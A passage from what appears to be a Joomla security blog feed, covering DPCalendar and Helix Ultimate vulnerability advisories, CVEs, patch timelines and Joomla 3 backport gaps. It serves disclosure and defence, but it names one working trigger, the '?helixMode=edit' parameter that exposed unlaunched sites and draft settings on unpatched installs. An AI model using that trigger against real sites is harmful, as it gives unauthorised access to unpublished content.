&lt;p&gt;If you run one site, open its extension manager and look.&lt;/p&gt;
&lt;p&gt;If you look after thirty, that approach is how things get missed. Searching for the extension by name in the mySites.guru Extension Inventory lists every connected site running DPCalendar and the version each one reports, so you can sort by version and work down the list. Version tracking across every connected site is part of the mySites.guru subscription, along with alerts when an installed extension version matches a known vulnerability rule.&lt;/p&gt;
&lt;p&gt;That is also how we built the numbers in this post, and how we knew who to email about it this afternoon.&lt;/p&gt;
&lt;h2&gt;What to do right now&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Update to 10.12.0&lt;/strong&gt;, or &lt;strong&gt;8.19.5&lt;/strong&gt; if the site runs Joomla 3&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check you are past July’s fix first.&lt;/strong&gt; If a site is below 10.11.2 or 8.19.4, it has an unauthenticated SQL injection open, which matters more than either issue in this release&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If you cannot update today&lt;/strong&gt;, disable the DPCalendar content plugin to close the SQL injection route, and treat that as a few days of breathing room rather than a fix&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check your template overrides&lt;/strong&gt; for copies of the DPCalendar location templates&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Look at who holds accounts&lt;/strong&gt; on any site where people other than you can edit articles or create locations, since that is what both flaws require&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If a site was on a vulnerable version for a long time&lt;/strong&gt; and handles data you would not want read, review &lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;your Joomla database security&lt;/a&gt; and check for &lt;a href=&quot;https://mysites.guru/blog/find-rogue-admin-accounts-joomla/&quot;&gt;rogue admin accounts&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-12&lt;/strong&gt; mySites.guru reports an unauthenticated SQL injection in DPCalendar A different flaw from the two in this post: the public events feed took an author filter and placed it into the query without casting it to an integer, so an anonymous visitor could read any table. We disclosed it privately with all public detail withheld.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-13&lt;/strong&gt; Digital Peak ships 10.11.2 and 8.19.4 within 24 hours Built, tested and released over a holiday break, outside their normal fourth-Thursday schedule. The fix cast the author filter to an integer on every path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-15&lt;/strong&gt; The Joomla CNA assigns CVE-2026-57831 CVSS 4.0 8.7 High, affected range 8.18.0 to 10.11.1, crediting Phil Taylor of mySites.guru as the finder.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-27&lt;/strong&gt; Digital Peak ships 10.12.0 and 8.19.5, fixing two issues found by Toan Le A blind SQL injection in the events query&apos;s sort clause, reachable from a saved article, and a stored cross-site scripting flaw in location titles. Both need an authenticated user. The vendor reports no evidence of exploitation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-27&lt;/strong&gt; No CVE assigned yet for either issue Digital Peak&apos;s announcement identifies them only by internal tracker numbers. Assignment through the Joomla CNA commonly follows a release by several days.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;The unauthenticated SQL injection we found in DPCalendar in July&lt;/a&gt; - a different flaw in the same events query, and the one to check first if you are running an older version.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/we-are-not-the-only-ones-auditing-joomla-extensions/&quot;&gt;We are not the only ones auditing Joomla extensions&lt;/a&gt; - the wider pattern this release fits into.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the recurring public-endpoint pattern behind flaws like these.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;How to check your Joomla database security&lt;/a&gt; - what to review if a vulnerable version was live on a site handling real data.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/find-rogue-admin-accounts-joomla/&quot;&gt;Find rogue admin accounts in Joomla&lt;/a&gt; - the check worth running whenever a flaw depends on who holds an account.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89: SQL Injection&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/79.html&quot;&gt;CWE-79: Cross-site Scripting&lt;/a&gt; - the official references for both weakness classes.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>joomla 3</category><category>dpcalendar</category><category>sql injection</category><category>xss</category><category>vulnerability</category><enclosure url="https://mysites.guru/img/og/blog/dpcalendar-order-by-sqli-location-xss.png" length="0" type="image/png"/></item><item><title>Helix Ultimate 2.2.10 Fixes Twelve Security Issues, Including a Pre-Login Bypass</title><link>https://mysites.guru/blog/helix-ultimate-2-2-10-security-release/</link><guid isPermaLink="true">https://mysites.guru/blog/helix-ultimate-2-2-10-security-release/</guid><description>Helix Ultimate 2.2.10 is a security release for the Joomla template framework. Every version below it is affected. Here is what it fixes and how to update.</description><pubDate>Thu, 27 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;: JoomShaper released Helix Ultimate 2.2.10 on 27 August 2026. It is a security release, rated High to Medium by the vendor, and every version below it is affected. The customer email groups the work into six areas; the release notes published afterwards itemise twelve security fixes and five other fixes. The one that matters most needs no login at all: a URL parameter walked past a Coming Soon holding page and served the administrator’s unsaved template settings. Joomla 4, 5 and 6 sites update through the Joomla administrator in the normal way. Joomla 3 sites need a separate package installed by hand, and three of the twelve did not reach it. Across the Joomla 4, 5 and 6 sites we monitor, around 92 percent of Helix Ultimate installs are still below 2.2.10, and most of them are on 2.2.9, exactly one release behind. Five CVEs were published for the release on 31 August, one of them ours.&lt;/p&gt;
&lt;p&gt;Helix Ultimate is a Joomla template framework from JoomShaper, installed as the &lt;code&gt;helixultimate&lt;/code&gt; system plugin plus a template such as &lt;code&gt;shaper_helixultimate&lt;/code&gt;. It sits underneath the whole front end of a site, which is why a security release for it is worth acting on rather than filing.&lt;/p&gt;
&lt;p&gt;If you look after more than a handful of Joomla sites, the hard part is not the update, it is knowing which sites need it. mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account, so you can search for Helix Ultimate once and get every affected site with the version each one reports. The figures in this post come from that same inventory.&lt;/p&gt;
&lt;h2&gt;What Helix Ultimate 2.2.10 Fixes&lt;/h2&gt;
&lt;p&gt;These are not our findings, and it is worth saying so before describing them. This was JoomShaper’s own security pass on its own code. We did not discover or report any of it. What follows comes from reading the published code difference between 2.2.9 and 2.2.10, so we can tell customers what actually changed rather than take a changelog on trust. The one Helix-family flaw we had reported before this was in Helix3, a separate product, in June 2026. The Joomla 3 backport of this release did turn up one of ours: an authorisation check applied to the wrong object, confirming the caller could edit an article and then deleting whatever file the caller named. We reported it to JoomShaper on 27 August 2026 and they fixed it in J3 Security Fixes 1.0.3 on 31 August. It was published as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78075/&quot;&gt;CVE-2026-78075&lt;/a&gt; the same day, credited to Phil Taylor of mySites.guru, and it is the only one of the five that is ours.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Five CVEs were published for this release on 31 August 2026&lt;/strong&gt;, four days after it shipped, all with an affected range of 1.0 to 2.2.9 and all fixed in 2.2.10:&lt;/p&gt;



































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;CVSS&lt;/th&gt;&lt;th&gt;What it covers&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78078&quot;&gt;CVE-2026-78078&lt;/a&gt;&lt;/td&gt;&lt;td&gt;8.9 High&lt;/td&gt;&lt;td&gt;Image uploads validated only the file extension and basic size, so a non-image disguised with a raster extension was accepted. 2.2.10 adds MIME verification and GD binary raster decoding that fails closed.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78077&quot;&gt;CVE-2026-78077&lt;/a&gt;&lt;/td&gt;&lt;td&gt;8.6 High&lt;/td&gt;&lt;td&gt;Stored XSS in the Mega Menu layout container and embed inputs: unsanitised column and item configuration values held in the layout JSON were rendered without complete contextual escaping.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78079&quot;&gt;CVE-2026-78079&lt;/a&gt;&lt;/td&gt;&lt;td&gt;5.3 Medium&lt;/td&gt;&lt;td&gt;Open redirect. The return redirect parameter accepted arbitrary Base64 without checking the resolved target with &lt;code&gt;Uri::isInternal&lt;/code&gt;.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78075&quot;&gt;CVE-2026-78075&lt;/a&gt;&lt;/td&gt;&lt;td&gt;5.1 Medium&lt;/td&gt;&lt;td&gt;Broken object-level authorisation in blog image deletion. &lt;strong&gt;This one is ours&lt;/strong&gt;, credited to Phil Taylor of mySites.guru.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78076&quot;&gt;CVE-2026-78076&lt;/a&gt;&lt;/td&gt;&lt;td&gt;5.1 Medium&lt;/td&gt;&lt;td&gt;The &lt;code&gt;save-megamenu-settings&lt;/code&gt; AJAX endpoint did not enforce item-level or menu-level edit permissions.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Four of the five score &lt;code&gt;PR:H&lt;/code&gt;, meaning they need an authenticated account with real privileges on the site. Only the open redirect is &lt;code&gt;PR:N&lt;/code&gt;, and it needs user interaction. That is a materially different risk profile from the access control bypass described below, which needed no account at all and has no CVE of its own.&lt;/p&gt;
&lt;p&gt;One quirk worth knowing if you read the records directly: &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78079/&quot;&gt;CVE-2026-78079&lt;/a&gt; is &lt;strong&gt;titled&lt;/strong&gt; “Privileged File Upload Bypass via Content Spoofing”, a duplicate of &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78078/&quot;&gt;CVE-2026-78078&lt;/a&gt;’s title, while its description and its CVSS vector are the open redirect. The description is the correct half.&lt;/p&gt;
&lt;p&gt;JoomShaper’s customer email gives a severity of High to Medium, an affected range of all versions prior to 2.2.10, and six areas. The release notes published on the repository go further and itemise twelve security fixes, which is the list worked through below. Reading the published code difference between 2.2.9 and 2.2.10, here is what sits behind each of them.&lt;/p&gt;
&lt;h3&gt;Access Control on Live Preview and Coming Soon&lt;/h3&gt;
&lt;p&gt;This is the most serious item and the only one reachable with no account at all. Before 2.2.10, adding &lt;code&gt;?helixMode=edit&lt;/code&gt; to any URL on a Helix Ultimate site did two separate things for an anonymous visitor. It skipped the Coming Soon redirect, so an unlaunched site was served in full to anyone who knew the parameter. And it made the framework load template settings from the draft cache instead of the saved ones, so the visitor saw the administrator’s unsaved work in progress. Both now require an authenticated user with template edit rights.&lt;/p&gt;
&lt;h3&gt;Authorisation on Media AJAX Actions&lt;/h3&gt;
&lt;p&gt;The permission map behind the framework’s AJAX endpoints has been tightened. Viewing, uploading, deleting media and creating folders now each require template edit rights plus the matching &lt;code&gt;com_media&lt;/code&gt; permission, rather than a single looser check.&lt;/p&gt;
&lt;h3&gt;Mega Menu Settings and Layouts&lt;/h3&gt;
&lt;p&gt;The endpoint that saves Mega Menu settings previously checked only that the caller could edit menus somewhere on the site, so anyone past that check could rewrite the Mega Menu settings of any menu item. It is now checked against the specific menu the item belongs to. The layout settings are also escaped on the way out.&lt;/p&gt;
&lt;h3&gt;Media Upload Validation&lt;/h3&gt;
&lt;p&gt;Uploads were accepted on the strength of their file extension. They are now decoded and checked, using &lt;code&gt;getimagesize&lt;/code&gt;, &lt;code&gt;finfo&lt;/code&gt; and a full image decode, so a file renamed to &lt;code&gt;.jpg&lt;/code&gt; is rejected. The path handling underneath was also hardened with real path resolution and a null byte check, which closes a symlink route out of the media folders.&lt;/p&gt;
&lt;h3&gt;Page Title and Attribute Validation&lt;/h3&gt;
&lt;p&gt;The page title feature took its heading tag, background colour and background image straight from menu item parameters and wrote them into markup. The heading tag now comes from an allowlist, the colour must match a hex pattern, and the background image URL is quoted and escaped before it reaches the &lt;code&gt;style&lt;/code&gt; attribute.&lt;/p&gt;
&lt;h3&gt;Social Sharing and Media Embeds&lt;/h3&gt;
&lt;p&gt;This one is easy to skip over and should not be. The Facebook, Twitter and LinkedIn share buttons were building their URLs by interpolating the article title and URL directly into a JavaScript string inside an &lt;code&gt;onClick&lt;/code&gt; attribute. The blog video and audio layouts were taking a YouTube or Vimeo identifier out of an article’s video field and dropping it, with its query string, straight into an iframe &lt;code&gt;src&lt;/code&gt;. Both are now built with &lt;code&gt;http_build_query&lt;/code&gt;, escaped with &lt;code&gt;htmlspecialchars&lt;/code&gt;, and the embed identifiers are restricted to an allowlist of characters. Anyone who can create an article can set a title and a video field, so this was a route into the page for a low privilege user.&lt;/p&gt;
&lt;p&gt;Three further items appear in the release notes but not in the six-area summary, and they are worth pulling out separately.&lt;/p&gt;
&lt;h3&gt;The Draft Cache Took the Style’s Identity From the Request&lt;/h3&gt;
&lt;p&gt;This sits in the same feature as the bypass above and is a different problem. When a template style was written to the draft cache, the style’s own identity came out of the POST body: &lt;code&gt;id&lt;/code&gt;, &lt;code&gt;template&lt;/code&gt;, &lt;code&gt;client_id&lt;/code&gt;, &lt;code&gt;home&lt;/code&gt; and &lt;code&gt;title&lt;/code&gt; were whatever the request said they were. The stored template name is then concatenated into a filesystem path when the draft is read back, &lt;code&gt;templates/&amp;lt;name&amp;gt;/options.json&lt;/code&gt; and &lt;code&gt;templates/&amp;lt;name&amp;gt;/templateDetails.xml&lt;/code&gt;. 2.2.10 looks the style up in the database by its ID, takes the name from that record, and strips anything outside letters, digits, underscores and hyphens.&lt;/p&gt;
&lt;h3&gt;Frontend Article Saves Were Not Checked Against the Article&lt;/h3&gt;
&lt;p&gt;Helix Ultimate hooks &lt;code&gt;onContentBeforeSave&lt;/code&gt; so it can merge its own article settings into an article’s attributes when the article is saved from the front end. It checked the context, whether the article was new, and whether the request came from the site rather than the administrator. It never checked whether this user was allowed to edit this particular article. 2.2.10 adds that check: &lt;code&gt;core.edit&lt;/code&gt; on the article itself, falling back to &lt;code&gt;core.edit.own&lt;/code&gt; plus an ownership test.&lt;/p&gt;
&lt;h3&gt;Image Source URLs Were Unescaped in the Older Image Layouts&lt;/h3&gt;
&lt;p&gt;The full image and intro image layouts wrote the article’s Helix image path straight into an &lt;code&gt;img src&lt;/code&gt; attribute. The value is the article’s own &lt;code&gt;helix_ultimate_image&lt;/code&gt; attribute, so anyone who can edit an article sets it. Both now run through &lt;code&gt;htmlspecialchars&lt;/code&gt;. The layouts Joomla 5 and 6 use were already escaped. The ones fixed here are the set Helix Ultimate serves to Joomla 4 and below, which is also the set the Joomla 3 package ships.&lt;/p&gt;
&lt;h2&gt;Five Fixes That Are Not Security&lt;/h2&gt;
&lt;p&gt;The release also contains five ordinary bug fixes, and JoomShaper is explicit that these apply to Joomla 4, 5 and 6 only, not to the Joomla 3 package.&lt;/p&gt;
&lt;p&gt;The Helix system plugin now keeps its disabled state through a template update. Previously an update switched it back on, which is a real annoyance if you had turned it off. Template style migration no longer overwrites parameters between styles, so a site with several template styles will not find one style’s settings stamped over another during an update. And a frontend image lazy-loading bug is fixed.&lt;/p&gt;
&lt;p&gt;Two more deserve a line each, because one touches the update channel and the other the plugin’s own dependencies. Saving licence information used to write to every JoomShaper update site row it could find; it now resolves the right row through the extension IDs Joomla has actually recorded, in &lt;code&gt;#__update_sites_extensions&lt;/code&gt;, and keeps any query string already on it. And the template installer now deletes the SCSSPHP 1.x directories that older installs left in the plugin’s &lt;code&gt;vendor&lt;/code&gt; folder, where they sat alongside the 2.x version that replaced them.&lt;/p&gt;
&lt;h2&gt;How Do I Update Helix Ultimate on Joomla 4, 5 and 6?&lt;/h2&gt;
&lt;p&gt;Through the Joomla updater, in the normal way. Log in to the administrator, go to &lt;strong&gt;System&lt;/strong&gt;, then &lt;strong&gt;Update&lt;/strong&gt;, then &lt;strong&gt;Extensions&lt;/strong&gt;, and update Helix Ultimate to 2.2.10. Nothing needs configuring afterwards. Clear the Joomla cache and your browser cache once it is done.&lt;/p&gt;
&lt;p&gt;Take a backup first. That is standard advice for any template framework update, because Helix Ultimate renders your entire front end and a bad update is visible to every visitor rather than tucked away in the administrator.&lt;/p&gt;
&lt;h2&gt;What About Joomla 3 Sites?&lt;/h2&gt;
&lt;p&gt;The same security issues apply to Joomla 3, but 2.2.10 will not install there. JoomShaper ships &lt;a href=&quot;https://joomla3security.com/vendors/joomshaper/&quot;&gt;a separate Joomla 3 package&lt;/a&gt; that has to be downloaded from GitHub and installed manually through &lt;strong&gt;System&lt;/strong&gt;, then &lt;strong&gt;Install&lt;/strong&gt;, then &lt;strong&gt;Extensions&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;That route has problems of its own, and they are worth understanding before you plan a Joomla 3 patching round. We covered them separately in &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-third-joomla-3-security-patch/&quot;&gt;our write-up of the Joomla 3 package&lt;/a&gt;: the short version is that the Joomla updater will never offer it to you, so nothing will prompt you and you have to go and fetch it on purpose.&lt;/p&gt;
&lt;p&gt;The contents differ too. We unpacked the Joomla 3 packages from July and from today and compared them against this release. Nine of the twelve security fixes are in the Joomla 3 build, including the access control bypass. Three are not: the draft cache identity fix, the ownership check on frontend article saves, and the image source escaping described above. The third matters most on Joomla 3, because the layouts it fixes are exactly the ones that package ships, and its copy is unchanged. Details are in the &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-third-joomla-3-security-patch/&quot;&gt;Joomla 3 write-up&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How Many Sites Are Still Below 2.2.10?&lt;/h2&gt;
&lt;p&gt;Across the Joomla 4, 5 and 6 sites we monitor that run Helix Ultimate, around 92 percent are still below 2.2.10. About 8 percent had already updated within hours of the release, which is what a working update channel looks like.&lt;/p&gt;
&lt;p&gt;The version distribution is the part worth knowing. The large majority of the affected installs are on 2.2.9, exactly one release behind, with a smaller group on 2.2.8. Very few are ancient. So the usual reassurance, that you keep your sites reasonably current, does not help here: JoomShaper’s advisory says everything below 2.2.10 is affected, and being one release behind puts you in that group along with everyone else.&lt;/p&gt;
&lt;p&gt;Helix Ultimate skews heavily towards the supported Joomla versions, too. About 90 percent of the installs we monitor are on Joomla 4, 5 or 6, where the normal updater works. That makes this an unusually easy security release to close out across a portfolio, provided you know which sites to look at.&lt;/p&gt;
&lt;h2&gt;Finding Every Helix Ultimate Install in One Place&lt;/h2&gt;
&lt;p&gt;Searching for an extension across a lot of Joomla sites by hand means logging into each administrator and reading the Manage screen. For twenty sites that is an afternoon.&lt;/p&gt;
&lt;p&gt;In mySites.guru, search for Helix Ultimate once in your account and you get every site running it, the version each one reports, and the Joomla version underneath, without logging into anything. From there you can see at a glance which sites are below 2.2.10, which are already done, and which are the Joomla 3 sites that need the manual package instead.&lt;/p&gt;
&lt;p&gt;That is the same inventory the percentages above came from, and it is part of the subscription rather than an add-on: GBP 19.99 per month for unlimited Joomla and WordPress sites, a price that has not changed since 2012.&lt;/p&gt;
&lt;p&gt;If a site turns out to have been compromised rather than only out of date, patching will not clean it. &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; handles that for a single fixed fee of GBP 120 per incident, usually same day, and we screen the site before committing so you are not charged in the rare case it cannot be fixed.&lt;/p&gt;
&lt;h2&gt;The Bottom Line&lt;/h2&gt;
&lt;p&gt;Helix Ultimate 2.2.10 is a straightforward security release with one item in it that anyone on the internet could have used, and eleven more that a logged-in user with modest permissions could have. JoomShaper says every version below it is affected, and the install base we can see is overwhelmingly one release behind rather than safely current.&lt;/p&gt;
&lt;p&gt;On Joomla 4, 5 and 6 this is a normal update through the administrator, so there is little reason to leave it. Find every Helix Ultimate install you look after, update the Joomla 4, 5 and 6 ones now, and handle the Joomla 3 ones separately with the manual package. Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site if you want to see what your Helix Ultimate exposure actually looks like.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-07&lt;/strong&gt; Helix Ultimate 2.2.7, the previous security release A batch of missing permission and token checks across the framework&apos;s AJAX handler, fixed and tagged the same day the code became public.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-15&lt;/strong&gt; 2.2.9 ships as a maintenance release Menu item ID handling, an offcanvas arrow position and a copyright field. Nothing security-related in the release notes, and it is the version most sites are still running today.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-22&lt;/strong&gt; Mega Menu sanitisation work is merged The first of the fixes that would become 2.2.10 goes into the repository, five weeks before the release.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-24&lt;/strong&gt; Audio and video embed sanitisation is merged Embed identifiers taken from an article&apos;s video field stop being written straight into an iframe source.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-27&lt;/strong&gt; Helix Ultimate 2.2.10 is released Tagged at 12:07 UTC, covering Joomla 3, 4, 5 and 6. JoomShaper rates it High to Medium and states that every version below it is affected.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-27&lt;/strong&gt; Customers are emailed five minutes later The advisory gives a severity, an affected range, a fixed version and a one-line impact summary, and tells Joomla 3 users to install a separate package by hand.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-27&lt;/strong&gt; Fuller release notes are published An itemised changelog goes up on the repository: twelve security fixes and five others, where the customer email had given six areas.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-31&lt;/strong&gt; JoomShaper ships J3 Security Fixes v1.0.3 The Joomla 3 patch is revised to tie blog image deletion to the article&apos;s own image fields, fixing the wrong-object authorisation check that v1.0.2 introduced and that we reported on 27 August.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-31&lt;/strong&gt; Five CVEs are published The Joomla CNA publishes CVE-2026-78075 through CVE-2026-78079 for the release, all affecting 1.0 to 2.2.9. CVE-2026-78075 is credited to Phil Taylor of mySites.guru.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/JoomShaper/helix-ultimate/releases/tag/v2.2.10&quot;&gt;Helix Ultimate 2.2.10 on GitHub&lt;/a&gt; - the release tag and its pull request list.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-third-joomla-3-security-patch/&quot;&gt;JoomShaper&apos;s third Joomla 3 security patch&lt;/a&gt; - the same security work backported for Joomla 3, and why those sites cannot tell whether they have it.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;Helix Ultimate 2.2.7&lt;/a&gt; - the previous security release of the framework, from July 2026.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot;&gt;Using the Joomla com_ajax interface&lt;/a&gt; - how the AJAX endpoints behind several of these fixes work.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-joomla-3-security-patch-1-0-3/&quot;&gt;SP Page Builder&apos;s Joomla 3 patch reaches 1.0.3&lt;/a&gt; - the same standalone Joomla 3 patch problem in a sibling JoomShaper product, corrected after we reported two more gaps in it.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>joomla 3</category><category>vulnerability</category><category>helix-ultimate</category><category>joomshaper</category><category>updates</category><enclosure url="https://mysites.guru/img/og/blog/helix-ultimate-2-2-10-security-release.png" length="0" type="image/png"/></item><item><title>Helix Ultimate&apos;s Third Joomla 3 Patch Since JoomShaper Said There Would Be None</title><link>https://mysites.guru/blog/helix-ultimate-third-joomla-3-security-patch/</link><guid isPermaLink="true">https://mysites.guru/blog/helix-ultimate-third-joomla-3-security-patch/</guid><description>JoomShaper said its Joomla 3 products would get no security patches regardless of severity. The Helix Ultimate template framework has now had four.</description><pubDate>Thu, 27 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;: JoomShaper published a third Joomla 3 security patch for the Helix Ultimate template framework on 27 August 2026, after announcing in July that its Joomla 3 products would receive “No security patches, regardless of severity.” The patch contains fixes, including an access-control bypass reachable without logging in, and the company emailed customers the same day with a stated severity of High to Medium. It is not the whole release, though: three of the twelve security fixes in the Joomla 4, 5 and 6 build did not reach it, and one of the three is in a file the Joomla 3 package ships and the Joomla 5 and 6 sites never load. This post is about the Joomla 3 package only. The problem with it is delivery: the patched system plugin and template both report version &lt;code&gt;2.1.4-j3sec&lt;/code&gt;, the same string the July build reports, so Joomla’s updater will never offer them and no tool can tell a patched site from an unpatched one. The patch package also deletes its own extension record when it installs, leaving nothing behind for Joomla to check. Across the Joomla 3 sites we manage that run Helix Ultimate, about four in ten report that version string, and every one of them first reported it before this release existed.&lt;/p&gt;
&lt;p&gt;On 9 July 2026 JoomShaper &lt;a href=&quot;https://mysites.guru/blog/joomshaper-drops-joomla-3-support/&quot;&gt;announced&lt;/a&gt; that the Joomla 3 builds of all its products were finished. One line did the damage: “No security patches, regardless of severity.” Six days later the company &lt;a href=&quot;https://mysites.guru/blog/joomshaper-reverses-joomla-3-decision/&quot;&gt;shipped Joomla 3 security patches anyway&lt;/a&gt;. A week after that it shipped another. Today it shipped a third.&lt;/p&gt;
&lt;figure&gt;
  &lt;blockquote&gt;“No security patches, regardless of severity.”&lt;/blockquote&gt;
  &lt;figcaption&gt;JoomShaper, 9 July 2026. Three Joomla 3 security patches later.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Shipping the patches is the right call, and we have said so each time. Joomla 3 runs more than half the live Joomla web, and a vendor that keeps patching it despite saying it would not is doing its users a favour. But the third release has a problem the first two did not, and it is the kind of problem that undoes the patch: on Joomla 3, the fixed files report the same version number as the broken ones.&lt;/p&gt;
&lt;p&gt;That matters because version numbers are how everything downstream decides whether you are safe. Joomla’s updater compares them. Extension inventories record them. Our own scanner reads them off every site in your account. When the patched build and the vulnerable build both say &lt;code&gt;2.1.4-j3sec&lt;/code&gt;, every one of those systems gives the same answer for both, and that answer is wrong half the time.&lt;/p&gt;
&lt;p&gt;This is a Joomla 3 problem only. Sites on Joomla 4, 5 and 6 get the same security work through the normal Joomla updater, and we have covered that release &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-2-2-10-security-release/&quot;&gt;separately&lt;/a&gt;. Everything below is about the Joomla 3 route.&lt;/p&gt;
&lt;h2&gt;What Does the Third Joomla 3 Patch Actually Fix?&lt;/h2&gt;
&lt;p&gt;These are not our findings. JoomShaper ran its own security pass on the Joomla 4 and 5 line, and this release backports that work into the Joomla 3 build. We did not discover or report any of it. What follows comes from reading the published code difference between the July and August releases, so we can tell customers what changed rather than take a changelog on trust.&lt;/p&gt;
&lt;p&gt;The most serious item is an access-control bypass that needed no login at all. Before this release, adding &lt;code&gt;?helixMode=edit&lt;/code&gt; to any URL on a Helix Ultimate site did two things for an anonymous visitor. It skipped the Coming Soon redirect entirely, so an unlaunched site was served in full to anyone who knew the parameter. And it made the framework load template settings from the draft cache instead of the saved ones, so the visitor saw the administrator’s unsaved work-in-progress design. Both now require an account with template edit rights.&lt;/p&gt;
&lt;p&gt;The rest is real but narrower:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Mega menu writes are now scoped to one menu.&lt;/strong&gt; The &lt;code&gt;saveMegaMenuSettings&lt;/code&gt; endpoint checked only that you could edit menus somewhere. Anyone who passed that check could rewrite the mega menu settings of any menu item on the site. It now checks permission against the specific menu the item belongs to.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Media path resolution got proper canonicalisation.&lt;/strong&gt; The old check cleaned the path and compared it as a string against the allowed roots. String comparison does not follow symlinks, so a symlink inside the images folder pointing elsewhere passed the test. The new code resolves the real path first and rejects null bytes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Image uploads are now decoded, not just named.&lt;/strong&gt; Uploads are checked with &lt;code&gt;getimagesize&lt;/code&gt;, &lt;code&gt;finfo&lt;/code&gt; and a full decode, instead of trusting the file extension.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Page Title feature escapes its output.&lt;/strong&gt; Heading tags come from an allowlist, background colours must match a hex pattern, and the background image URL is quoted and escaped before it reaches the &lt;code&gt;style&lt;/code&gt; attribute.&lt;/li&gt;
&lt;/ul&gt;
